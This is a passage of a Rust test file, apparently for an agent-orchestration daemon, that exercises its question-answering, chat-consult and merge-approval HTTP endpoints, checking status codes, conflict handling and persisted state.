13102 q.merge_target = Some(crate::merge_decision::Target {
13103 pr: "https://github.com/example/repo/pull/42".into(),
13104 head: "exact-reviewed-head".into(),
13105 language: "ja".into(),
13106 });
13107 q.consult = Some(ask::ChatConsult {
13108 talk: "another-conversation".into(),
13109 at: jiff::Timestamp::now(),
13110 });
13111 fx.questions().put(&mut q).unwrap();
13112 let ui = Arc::new(Ui::new(
13113 fx.queue(),
13114 fx.questions(),
13115 fx.talks(),
13116 fx.runs(),
13117 fx.home.path().into(),
13118 std::path::PathBuf::from("."),
13119 ));
13120 let response = question_answer(
13121 State(ui.clone()),
13122 Path(q.id.clone()),
13123 Ok(Json(NewAnswer {
13124 choice: Some(choice.into()),
13125 text: None,
13126 ..Default::default()
13127 })),
13128 )
13129 .await
13130 .unwrap();
13131 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13132 let disk = fx.questions().get(&q.id).unwrap();
13133 assert_eq!(disk.merge_target, q.merge_target);
13134 assert_eq!(disk.consult, q.consult);
13135 assert_eq!(disk.resolution().as_deref(), Some(choice));
13136 assert!(
13137 question_answer(
13138 State(ui),
13139 Path(q.id.clone()),
13140 Ok(Json(NewAnswer {
13141 choice: Some("merge".into()),
13142 text: None,
13143 ..Default::default()
13144 }))
13145 )
13146 .await
13147 .is_err(),
13148 "an already settled decision cannot turn into merge approval"
13149 );
13150 }
13151 }
13152
13153 #[tokio::test]
13154 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13155 let fx = Fixture {
13156 home: TempDir::new().unwrap(),
13157 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13158 };
13159 let mut state = crate::land::tests::repair_state(true, true);
13160 state.status = RunStatus::Landing;
13161 state.parked = true;
13162 state.driver_exited = true;
13163 let mut task = Task::new(
13164 "Existing PR owner".into(),
13165 state.instruction.clone(),
13166 state.repo.clone(),
13167 Source::Human,
13168 );
13169 task.runs.push(state.id.clone());
13170 task.status = TaskStatus::Parked;
13171 fx.queue().put(&mut task).unwrap();
13172 let mut q = Question::new(
13173 state.id.clone(),
13174 crate::land::APPROVAL_NODE.into(),
13175 "land".into(),
13176 "Contested merge".into(),
13177 "Original evidence".into(),
13178 vec!["merge".into(), "hold".into()],
13179 );
13180 state.land_approval = Some(crate::run::LandApproval {
13181 question: q.id.clone(),
13182 head: "reviewed-head".into(),
13183 });
13184 state.save_under(fx.home.path()).unwrap();
13185 fx.questions().put(&mut q).unwrap();
13186 task.hold_manual(Some("Pause this PR".into()));
13188 fx.queue().put(&mut task).unwrap();
13189 let ui = Arc::new(Ui::new(
13192 fx.queue(),
13193 fx.questions(),
13194 fx.talks(),
13195 fx.runs(),
13196 fx.home.path().to_path_buf(),
13197 state.repo.clone(),
13198 ));
13199 let response = question_answer(
13200 State(ui),
13201 Path(q.id.clone()),
13202 Ok(Json(NewAnswer {
13203 choice: Some(crate::land::REPAIR.into()),
13204 text: None,
13205 ..Default::default()
13206 })),
13207 )
13208 .await
13209 .unwrap();
13210 assert_eq!(response.0.question.id, q.id);
13211 let upgraded = fx.questions().get(&q.id).unwrap();
13212 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13213 assert!(upgraded.detail.starts_with("Original evidence"));
13214 let claim = fx.queue().claim(&task.id).unwrap();
13215 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13216 assert!(
13217 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13218 "an existing driver keeps its claim"
13219 );
13220 drop(claim);
13221 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13222 let resumed = fx.queue().get(&task.id).unwrap();
13223 assert_eq!(
13224 resumed
13225 .resume_override
13226 .as_ref()
13227 .unwrap()
13228 .pinned_run
13229 .as_deref(),
13230 Some(state.id.as_str())
13231 );
13232 assert!(resumed.status.runnable());
13233 assert_eq!(resumed.instruction, task.instruction);
13234 assert_eq!(resumed.runs, task.runs);
13235 assert!(resumed.action_applied(&q.id));
13236 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13237 assert_eq!(fx.queue().list().len(), 1);
13238 assert_eq!(
13239 fx.queue().get(&task.id).unwrap().resume_override,
13240 resumed.resume_override
13241 );
13242 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13243 assert!(
13244 disk.merge_repairs.is_empty(),
13245 "only the claimed run driver may execute repair"
13246 );
13247 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13248 }
13249
13250 #[tokio::test]
13251 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13252 let fx = Fixture::start().await;
13253 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13254 let path = format!("/api/questions/{id}/answer");
13255
13256 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13257 assert_eq!(res.status, 200, "{}", res.body);
13258 let body = res.json();
13259 assert_eq!(body["status"], "answered");
13260 assert_eq!(body["answer"]["choice"], "Redis");
13261
13262 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13266 assert_eq!(again.status, 409, "{}", again.body);
13267 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13268 }
13269
13270 #[tokio::test]
13271 async fn fresh_api_answers_survive_task_inquiry_migration() {
13272 use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13273 for migrate_first in [false, true] {
13274 let fx = Fixture::start().await;
13275 let mut task = Task::new(
13276 "work".into(),
13277 "work".into(),
13278 PathBuf::from("/repo/magi"),
13279 Source::Human,
13280 );
13281 task.runs.push("run-a".into());
13282 fx.queue().put(&mut task).unwrap();
13283 let mut q = Question::new(
13284 "run-a".into(),
13285 "implement".into(),
13286 "impl-A".into(),
13287 "Keep held?".into(),
13288 String::new(),
13289 vec!["hold".into()],
13290 );
13291 q.actions.insert("hold".into(), ChoiceAction::Hold);
13292 fx.questions().put(&mut q).unwrap();
13293 if migrate_first {
13294 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13295 }
13296 let response = fx
13297 .post(
13298 &format!("/api/questions/{}/answer", q.id),
13299 Some(r#"{"choice":"hold"}"#),
13300 )
13301 .await;
13302 assert_eq!(response.status, 200, "{}", response.body);
13303 for _ in 0..2 {
13304 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13305 let source = fx.questions().get(&q.id).unwrap();
13306 assert_eq!(source.resolution().as_deref(), Some("hold"));
13307 let decision = Outbox::at(fx.home.path())
13308 .get(&q.id)
13309 .unwrap()
13310 .decision
13311 .unwrap();
13312 assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13313 assert_eq!(decision.source_answer_at, source.answered_at);
13314 assert_eq!(decision.status, Status::Queued);
13315 }
13316 assert_eq!(
13317 fx.post(
13318 &format!("/api/questions/{}/answer", q.id),
13319 Some(r#"{"choice":"hold"}"#)
13320 )
13321 .await
13322 .status,
13323 409
13324 );
13325 }
13326 }
13327
13328 #[tokio::test]
13329 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13330 let home = tempfile::tempdir().unwrap();
13331 let ui = delta_test_ui(home.path());
13332 let mut q = Question::new(
13333 "task".into(),
13334 crate::land::APPROVAL_NODE.into(),
13335 "land".into(),
13336 "Explain?".into(),
13337 String::new(),
13338 vec!["hold".into()],
13339 );
13340 q.deputy = Some(ask::Deputy::new("context".into()));
13341 ui.questions.put(&mut q).unwrap();
13342 let mut cfg = stub_config();
13343 cfg.daemon.max_deputies = 0;
13344 let mut status = crate::daemon::Status::new();
13345 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13346 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13347 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13348 let error = question_say(
13349 State(ui.clone()),
13350 Path(q.id.clone()),
13351 Ok(Json(NewSay {
13352 body: "Explain the findings".into(),
13353 })),
13354 )
13355 .await
13356 .unwrap_err();
13357 assert_eq!(
13358 error.text_reason,
13359 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13360 );
13361 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13362
13363 let mut text = Question::new(
13364 "task".into(),
13365 "ask".into(),
13366 "operator".into(),
13367 "Which name?".into(),
13368 String::new(),
13369 vec![],
13370 );
13371 ui.questions.put(&mut text).unwrap();
13372 let Json(view) = question_answer(
13373 State(ui.clone()),
13374 Path(text.id.clone()),
13375 Ok(Json(NewAnswer {
13376 choice: None,
13377 text: Some("chosen name".into()),
13378 ..Default::default()
13379 })),
13380 )
13381 .await
13382 .unwrap();
13383 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13384 assert!(!ui.questions.get(&text.id).unwrap().status.open());
13385 }
13386
13387 #[tokio::test]
13388 async fn question_text_handler_admission_without_transport() {
13389 let home = tempfile::tempdir().unwrap();
13390 let ui = delta_test_ui(home.path());
13391 let mut q = Question::new(
13392 "task".into(),
13393 crate::land::APPROVAL_NODE.into(),
13394 "land".into(),
13395 "May this PR merge?".into(),
13396 String::new(),
13397 vec!["hold".into()],
13398 );
13399 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13400 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13401 ui.questions.put(&mut q).unwrap();
13402 let say = || {
13403 Ok(Json(NewSay {
13404 body: "Explain the findings".into(),
13405 }))
13406 };
13407 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13408 .await
13409 .unwrap_err();
13410 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13411 let response = rejected.into_response();
13412 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13413 .await
13414 .unwrap();
13415 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13416 assert_eq!(body["code"], "question_text_unavailable");
13417 assert_eq!(body["reason"], "deputy_exhausted");
13418 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13419 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13420 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13421 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13422 .await
13423 .unwrap();
13424 assert_eq!(view.text_delivery.state, "live");
13425 assert!(view.question.waiter.is_none());
13426 assert!(view.question.cwd.is_none());
13427 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13428 ui.questions.drop_lease(&q.id);
13429 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13430 .await
13431 .unwrap_err();
13432 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13433 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13434 let _ = question_answer(
13435 State(ui.clone()),
13436 Path(q.id.clone()),
13437 Ok(Json(NewAnswer {
13438 choice: Some("hold".into()),
13439 text: None,
13440 ..Default::default()
13441 })),
13442 )
13443 .await
13444 .unwrap();
13445 assert_eq!(
13446 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13447 Some("hold")
13448 );
13449 }
13450
13451 #[tokio::test]
13452 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13453 let fx = Fixture::start().await;
13454 let store = fx.questions();
13455 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13456 store
13457 .update(&id, |q| {
13458 q.node = crate::land::APPROVAL_NODE.to_owned();
13459 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13460 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13461 Ok(())
13462 })
13463 .unwrap();
13464 let path = format!("/api/questions/{id}/say");
13465 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13466 assert_eq!(refused.status, 422, "{}", refused.body);
13467 assert!(
13468 refused.json()["error"]
13469 .as_str()
13470 .unwrap()
13471 .contains("deputy_exhausted")
13472 );
13473 assert!(store.get(&id).unwrap().thread.is_empty());
13474
13475 store.beat(&id, ask::WaiterKind::Deputy);
13477 let view = fx.get("/api/questions").await.json();
13478 assert_eq!(view[0]["text_delivery"]["state"], "live");
13479 let accepted = fx
13480 .post(&path, Some(r#"{"body":"explain the findings"}"#))
13481 .await;
13482 assert_eq!(accepted.status, 200, "{}", accepted.body);
13483 let before = std::fs::read(store.path_of(&id)).unwrap();
13484
13485 store.drop_lease(&id);
13488 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13489 assert_eq!(refused.status, 422, "{}", refused.body);
13490 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13491 let held = fx
13492 .post(
13493 &format!("/api/questions/{id}/answer"),
13494 Some(r#"{"choice":"hold"}"#),
13495 )
13496 .await;
13497 assert_eq!(held.status, 200, "{}", held.body);
13498 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13499 }
13500
13501 #[tokio::test]
13502 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13503 let repo = tempfile::tempdir().unwrap();
13504 let mut cfg = stub_config();
13505 cfg.daemon.max_deputies = 0;
13506 std::fs::write(
13507 repo.path().join("magi.toml"),
13508 toml::to_string(&cfg).unwrap(),
13509 )
13510 .unwrap();
13511 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13512 let mut status = crate::daemon::Status::new();
13513 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13514 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13515 let id = ask(&fx, "Explain?", &["hold"]);
13516 fx.questions()
13517 .update(&id, |q| {
13518 q.node = crate::land::APPROVAL_NODE.into();
13519 q.deputy = Some(ask::Deputy::new("context".into()));
13520 q.deputy.as_mut().unwrap().agent = "stub".into();
13521 Ok(())
13522 })
13523 .unwrap();
13524 cfg.daemon.max_deputies = 1;
13525 std::fs::write(
13526 repo.path().join("magi.toml"),
13527 toml::to_string(&cfg).unwrap(),
13528 )
13529 .unwrap();
13530 let view = fx.get("/api/questions").await.json();
13531 assert_eq!(view[0]["deputies_enabled"], true);
13532 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13533 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13534 let res = fx
13535 .post(
13536 &format!("/api/questions/{id}/say"),
13537 Some(r#"{"body":"Please explain"}"#),
13538 )
13539 .await;
13540 assert_eq!(res.status, 422, "{}", res.body);
13541 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13542 }
13543
13544 #[tokio::test]
13545 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13546 let fx = Fixture::start().await;
13547 let id = ask(&fx, "No seat", &[]);
13548 let store = fx.questions();
13549 let before = std::fs::read(store.path_of(&id)).unwrap();
13550 let res = fx
13551 .post(
13552 &format!("/api/questions/{id}/say"),
13553 Some(r#"{"body":"hello"}"#),
13554 )
13555 .await;
13556 assert_eq!(res.status, 422, "{}", res.body);
13557 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13558 let res = fx
13559 .post(
13560 &format!("/api/questions/{id}/answer"),
13561 Some(r#"{"text":"hello"}"#),
13562 )
13563 .await;
13564 assert_eq!(res.status, 200, "{}", res.body);
13565 assert_eq!(
13566 store.get(&id).unwrap().resolution().as_deref(),
13567 Some("hello")
13568 );
13569 }
13570
13571 #[tokio::test]
13572 async fn saying_something_appends_a_turn_without_answering() {
13573 let fx = Fixture::start().await;
13574 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13575 fx.questions().beat(&id, ask::WaiterKind::Asker);
13576 let path = format!("/api/questions/{id}/say");
13577
13578 let res = fx
13579 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13580 .await;
13581 assert_eq!(res.status, 200, "{}", res.body);
13582 let body = res.json();
13583 assert_eq!(body["status"], "open", "talking back is not a decision");
13584 assert_eq!(body["answer"], Value::Null);
13585 assert_eq!(body["thread"][0]["who"], "operator");
13586 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13587 assert_eq!(body["waiting_on_agent"], true);
13588 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13590 }
13591
13592 #[tokio::test]
13593 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13594 let fx = Fixture::start().await;
13595 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13596
13597 let list = fx.get("/api/questions").await.json();
13598 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13599
13600 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13601 assert_eq!(res.status, 409, "{}", res.body);
13602 let q = fx.questions().get(&id).unwrap();
13603 assert!(q.status.open());
13604 assert!(q.consult.is_none());
13605 }
13606
13607 #[tokio::test]
13608 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13609 let fx = Fixture::start().await;
13610 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13611 let cfg = Config {
13612 agents: vec![crate::config::AgentSpec {
13613 id: "mock".to_owned(),
13614 kind: crate::config::AgentKind::Command,
13615 model: None,
13616 command: vec!["true".to_owned()],
13617 extra_args: Vec::new(),
13618 env: Default::default(),
13619 prompt_delivery: None,
13620 max_turn_secs: None,
13621 }],
13622 ..Config::default()
13623 };
13624 let talk = crate::talk::begin(
13625 &fx.talks(),
13626 &cfg,
13627 fx.home.path().to_path_buf(),
13628 Some("mock"),
13629 )
13630 .unwrap();
13631 let mut task = Task::new(
13632 "t".to_owned(),
13633 "Do it".to_owned(),
13634 PathBuf::from("/repo/magi"),
13635 Source::Agent {
13636 run: talk.id.clone(),
13637 node: crate::queue::CHAT_NODE.to_owned(),
13638 },
13639 );
13640 task.start("20260902-000000-beef".to_owned());
13641 fx.queue().put(&mut task).unwrap();
13642
13643 let list = fx.get("/api/questions").await.json();
13644 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13645 assert_eq!(
13646 list[0]["choices"],
13647 serde_json::json!(["SQLite", "Redis"]),
13648 "the hand-over is never a choice"
13649 );
13650 fx.questions()
13651 .update(&id, |q| {
13652 q.node = crate::land::APPROVAL_NODE.into();
13653 q.choices = vec!["merge".into(), "hold".into()];
13654 Ok(())
13655 })
13656 .unwrap();
13657 let list = fx.get("/api/questions").await.json();
13658 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13659 assert_eq!(list[0]["can_consult_chat"], true);
13660 fx.questions()
13661 .update(&id, |q| {
13662 q.node = crate::bump::NOTICE_NODE.into();
13663 Ok(())
13664 })
13665 .unwrap();
13666 let list = fx.get("/api/questions").await.json();
13667 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13668 assert_eq!(list[0]["can_consult_chat"], false);
13669 }
13670
13671 #[tokio::test]
13672 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13673 let fx = Fixture::start().await;
13674 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13675 fx.questions()
13676 .update(&id, |q| {
13677 q.node = crate::land::APPROVAL_NODE.into();
13678 q.choices = vec!["merge".into(), "hold".into()];
13679 Ok(())
13680 })
13681 .unwrap();
13682 let cfg = Config {
13683 agents: vec![crate::config::AgentSpec {
13684 id: "mock".to_owned(),
13685 kind: crate::config::AgentKind::Command,
13686 model: None,
13687 command: vec!["true".to_owned()],
13688 extra_args: Vec::new(),
13689 env: Default::default(),
13690 prompt_delivery: None,
13691 max_turn_secs: None,
13692 }],
13693 ..Config::default()
13694 };
13695 let repo = fx.home.path().join("chat-repo");
13697 std::fs::create_dir_all(&repo).unwrap();
13698 let toml = repo.join("magi.toml");
13699 std::fs::write(&toml, "this is = = not toml").unwrap();
13700 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13701 let mut task = Task::new(
13702 "t".to_owned(),
13703 "Do it".to_owned(),
13704 PathBuf::from("/repo/magi"),
13705 Source::Agent {
13706 run: talk.id.clone(),
13707 node: crate::queue::CHAT_NODE.to_owned(),
13708 },
13709 );
13710 task.start("20260902-000000-beef".to_owned());
13711 fx.queue().put(&mut task).unwrap();
13712
13713 let path = format!("/api/questions/{id}/consult");
13714 let res = fx.post(&path, None).await;
13715 assert!(res.status >= 400, "{}", res.body);
13716 assert!(fx.questions().get(&id).unwrap().consult.is_none());
13717 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13718
13719 std::fs::write(&toml, "").unwrap();
13720 let res = fx.post(&path, None).await;
13721 assert_eq!(res.status, 202, "{}", res.body);
13722 assert!(fx.questions().get(&id).unwrap().consult.is_some());
13723 let q = fx.questions().get(&id).unwrap();
13724 assert!(q.status.open());
13725 assert!(q.answer.is_none());
13726 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13727 assert_eq!(res.json()["can_consult_chat"], true);
13728 let list = fx.get("/api/questions").await.json();
13729 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13730 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13731
13732 let res = fx
13733 .post(
13734 &format!("/api/questions/{id}/answer"),
13735 Some(r#"{"choice":"hold"}"#),
13736 )
13737 .await;
13738 assert_eq!(res.status, 200, "{}", res.body);
13739 assert_eq!(res.json()["answer"]["choice"], "hold");
13740 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13741 assert_eq!(res.json()["can_consult_chat"], false);
13742 assert_eq!(fx.post(&path, None).await.status, 409);
13743
13744 let mut talk = fx.talks().get(&talk.id).unwrap();
13745 crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13747 crate::talk::close(&mut talk, &fx.talks()).unwrap();
13748 let list = fx.get("/api/questions").await.json();
13749 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13750 assert_eq!(list[0]["origin_chat_closed"], true);
13751 assert_eq!(list[0]["can_consult_chat"], false);
13752
13753 fx.talks().remove(&talk.id).unwrap();
13754 let list = fx.get("/api/questions").await.json();
13755 assert_eq!(list[0]["origin_chat"], Value::Null);
13756 assert_eq!(list[0]["origin_chat_closed"], false);
13757 assert_eq!(list[0]["can_consult_chat"], false);
13758 }
13759
13760 #[tokio::test]
13761 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13762 let fx = Fixture::start().await;
13763 let store = fx.questions();
13764 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13765 store.beat(&id, ask::WaiterKind::Asker);
13766 assert_eq!(
13767 fx.get("/api/health").await.json()["questions_needs_owner"],
13768 1
13769 );
13770
13771 let res = fx
13777 .post(
13778 &format!("/api/questions/{id}/say"),
13779 Some(r#"{"body":"why not Postgres?"}"#),
13780 )
13781 .await;
13782 assert_eq!(res.status, 200, "{}", res.body);
13783 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13784 assert_eq!(
13785 fx.get("/api/health").await.json()["questions_needs_owner"],
13786 0,
13787 "waiting on the agent is not waiting on the owner"
13788 );
13789
13790 let mut q = store.get(&id).expect("get");
13794 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13795 .expect("reply");
13796 store.put(&mut q).expect("put");
13797 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13798 assert_eq!(
13799 fx.get("/api/health").await.json()["questions_needs_owner"],
13800 1,
13801 "the agent's reply is what should light the banner back up"
13802 );
13803 }
13804
13805 #[tokio::test]
13806 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13807 let fx = Fixture::start().await;
13808 let store = fx.questions();
13809
13810 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13811 let res = fx
13812 .post(
13813 &format!("/api/questions/{empty_id}/say"),
13814 Some(r#"{"body":" "}"#),
13815 )
13816 .await;
13817 assert_eq!(res.status, 400, "{}", res.body);
13818
13819 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13820 let mut answered = store.get(&answered_id).expect("get");
13821 answered
13822 .answer(Answer::Choice("SQLite".to_owned()))
13823 .expect("answer");
13824 store.put(&mut answered).expect("put");
13825 let res = fx
13826 .post(
13827 &format!("/api/questions/{answered_id}/say"),
13828 Some(r#"{"body":"still there?"}"#),
13829 )
13830 .await;
13831 assert_eq!(res.status, 409, "{}", res.body);
13832
13833 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13834 let mut abandoned = store.get(&abandoned_id).expect("get");
13835 abandoned.abandon("timed out");
13836 store.put(&mut abandoned).expect("put");
13837 let res = fx
13838 .post(
13839 &format!("/api/questions/{abandoned_id}/say"),
13840 Some(r#"{"body":"still there?"}"#),
13841 )
13842 .await;
13843 assert_eq!(res.status, 409, "{}", res.body);
13844 }
13845
13846 #[tokio::test]
13847 async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13848 let fx = Fixture::start().await;
13849 let questions = fx.questions();
13850 let mut q = Question::new(
13851 String::new(),
13852 crate::bump::NOTICE_NODE.into(),
13853 "release-watch".into(),
13854 "Release PR approval".into(),
13855 "Saved head".into(),
13856 vec!["merge".into(), "hold".into()],
13857 );
13858 q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13859 q.merge_target = Some(crate::merge_decision::Target {
13860 pr: "https://example.test/mebae/pull/100".into(),
13861 head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13862 language: "en".into(),
13863 });
13864 q.answer(Answer::Choice("merge".into())).unwrap();
13865 q.answer_delivered = true;
13866 questions.put(&mut q).unwrap();
13867 let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13868 std::fs::create_dir_all(&dir).unwrap();
13869 std::fs::write(
13870 dir.join("state.json"),
13871 serde_json::to_vec(&serde_json::json!({
13872 "schema": 1, "sources": [q.id], "pending": [q.id]
13873 }))
13874 .unwrap(),
13875 )
13876 .unwrap();
13877 let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13878 for migrated in [false, true] {
13879 if migrated {
13880 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13881 }
13882 for endpoint in ["/api/questions", "/api/questions/core"] {
13883 let response = fx.get(endpoint).await;
13884 assert_eq!(response.status, 200);
13885 let rows = response.json();
13886 let row = rows
13887 .as_array()
13888 .unwrap()
13889 .iter()
13890 .find(|r| r["id"] == q.id)
13891 .unwrap();
13892 assert_eq!(row["status"], "answered");
13893 assert_eq!(row["answer"]["choice"], "merge");
13894 assert_eq!(row["can_answer"], false);
13895 assert_eq!(row["history_only"], true);
13896 }
13897 let answer = fx
13898 .post(
13899 &format!("/api/questions/{}/answer", q.id),
13900 Some(r#"{"choice":"merge"}"#),
13901 )
13902 .await;
13903 assert_eq!(answer.status, 409, "{}", answer.body);
13904 assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13905 }
13906 }
13907
13908 #[tokio::test]
13909 async fn an_answer_the_question_does_not_offer_is_refused() {
13910 let fx = Fixture::start().await;
13911 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13912 let path = format!("/api/questions/{id}/answer");
13913
13914 for body in [
13915 r#"{"choice":"Postgres"}"#,
13916 r#"{"text":"whatever you think"}"#,
13917 r#"{"choice":"Redis","text":"both"}"#,
13918 r#"{}"#,
13919 ] {
13920 let res = fx.post(&path, Some(body)).await;
13921 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13922 assert!(res.json()["error"].is_string(), "{}", res.body);
13923 }
13924 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13926 }
13927
13928 #[tokio::test]
13929 async fn a_free_text_question_takes_text_and_not_a_choice() {
13930 let fx = Fixture::start().await;
13931 let id = ask(&fx, "What should the flag be called?", &[]);
13932 fx.questions().beat(&id, ask::WaiterKind::Asker);
13933 let path = format!("/api/questions/{id}/answer");
13934
13935 assert_eq!(
13936 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13937 400
13938 );
13939 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13940 assert_eq!(res.status, 200, "{}", res.body);
13941 assert_eq!(res.json()["answer"]["text"], "--json");
13942 }
13943
13944 #[tokio::test]
13945 async fn an_unknown_question_is_a_json_404() {
13946 let fx = Fixture::start().await;
13947 let res = fx
13948 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13949 .await;
13950 assert_eq!(res.status, 404, "{}", res.body);
13951 assert!(res.json()["error"].is_string());
13952 }
13953
13954 #[tokio::test]
13955 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13956 let fx = Fixture::start().await;
13957 let questions = Questions::at(fx.home.path().join("questions"));
13958 let store = Notices::at(fx.home.path().join("notifications"));
13959 let mut q = ask::Question::new(
13960 "t1".into(),
13961 "conduct".into(),
13962 "conductor".into(),
13963 "Continue?".into(),
13964 String::new(),
13965 Vec::new(),
13966 );
13967 questions.put(&mut q).unwrap();
13968 let mut n = Notice::warn("task:t1", "Task t1 is held.");
13969 n.covered_by = Some(q.id.clone());
13970 let n = store.raise(n).unwrap();
13971 let listed = fx.get("/api/notifications").await.json();
13972 assert_eq!(listed["items"][0]["answerable_question"], q.id);
13973 questions
13974 .update(&q.id, |q| {
13975 q.abandon("run gone");
13976 Ok(())
13977 })
13978 .unwrap();
13979 let listed = fx.get("/api/notifications").await.json();
13980 assert!(listed["items"][0]["answerable_question"].is_null());
13981 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13982 assert!(
13983 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13984 .unwrap()
13985 .contains("answerable_question")
13986 );
13987 }
13988
13989 #[tokio::test]
13990 async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13991 let fx = Fixture::start().await;
13992 let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13993 let task = crate::queue::Task::new(
13994 "work".into(),
13995 "work".into(),
13996 fx.home.path().into(),
